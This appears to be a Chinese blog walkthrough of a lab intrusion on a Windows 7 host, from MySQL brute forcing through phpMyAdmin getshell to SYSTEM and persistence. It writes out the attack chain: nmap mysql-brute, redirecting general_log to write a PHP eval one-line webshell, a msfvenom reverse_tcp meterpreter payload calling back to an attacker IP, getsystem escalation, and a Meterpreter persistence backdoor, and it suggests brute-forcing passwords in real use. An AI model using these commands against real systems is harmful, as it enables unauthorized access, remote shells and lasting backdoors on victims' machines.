欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

phpmyadmin getshell到提权

程序员文章站 2022-07-15 11:13:20
...

环境准备

靶机:win7 32 位。
环境:
php:5.45
MYsql:5.5.53 Apache:2.43

开始试验

使用nmap扫描目标机端口及服务情况。

nmap -sV ip

a.发现该目标机的3306端口开放,使用namp自带的mysql弱口令脚本进行**;

nmap -p 3306 --script=mysql-brute ip

b.也可以通过目录**等方法找到phpmyadmin的登录页面,然后用使用弱口令**找到账户和密码;
phpmyadmin getshell到提权

检测mysql的全局变量(general_log、general_log file)

general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。

SHOW VARIABLES LIKE 'general%'

phpmyadmin getshell到提权
已知general_log默认是关闭的,log日志存放的位置是C:\php\MySQL\data\SC-201805120002.log
开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在 C:\php\MySQL\data\SC-201805120002.log下的一个log文件中,其实就是我们常说的日志文件。
利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文 件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

set global general_log = "ON";
SET global general_log_file='C:/php/WWW/testshell.php';

执行成功之后,接下来就利用查询语句写入一句话或者是其他的木马;

select '<?php eval($_POST[cmd]);?>';

成功运行之后,我们可以通过网站访问出发木马,这里我用蚁剑来连接
phpmyadmin getshell到提权
phpmyadmin getshell到提权
虽然获取到web-shell,但是还需要提权到管理员。
可以通过msf的getsystem来尝试提权。
通过msf来生成一个msf的反弹连接木马;
端口、ip、生成的位置、文件名字请自行修改。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=4444 -f exe >testshell.exe

通过蚁剑来上传到目标服务器执行。
phpmyadmin getshell到提权
通过蚁剑远程执行,然后通过msf来监听
phpmyadmin getshell到提权
然后使用getsystem提权。
phpmyadmin getshell到提权
提权成功。

建立后门

利用方式:

run persistence -S -U -X -i 5 -p 8888 -r ip

phpmyadmin getshell到提权
圈红的部分就是后门存在靶机的位置。
只要用目标机开机登录,就能从后门进入到目标机。

总结

1.在获取密码的过程中由于是本地搭建的,所以是知道密码是入口了,在实际使用中可以采用**的方式获取密码。
2.在获取一句话反弹连接后尝试获取密码失败,后面在msf下获取hash成功获取目标登录密码。

相关标签: # 新手案例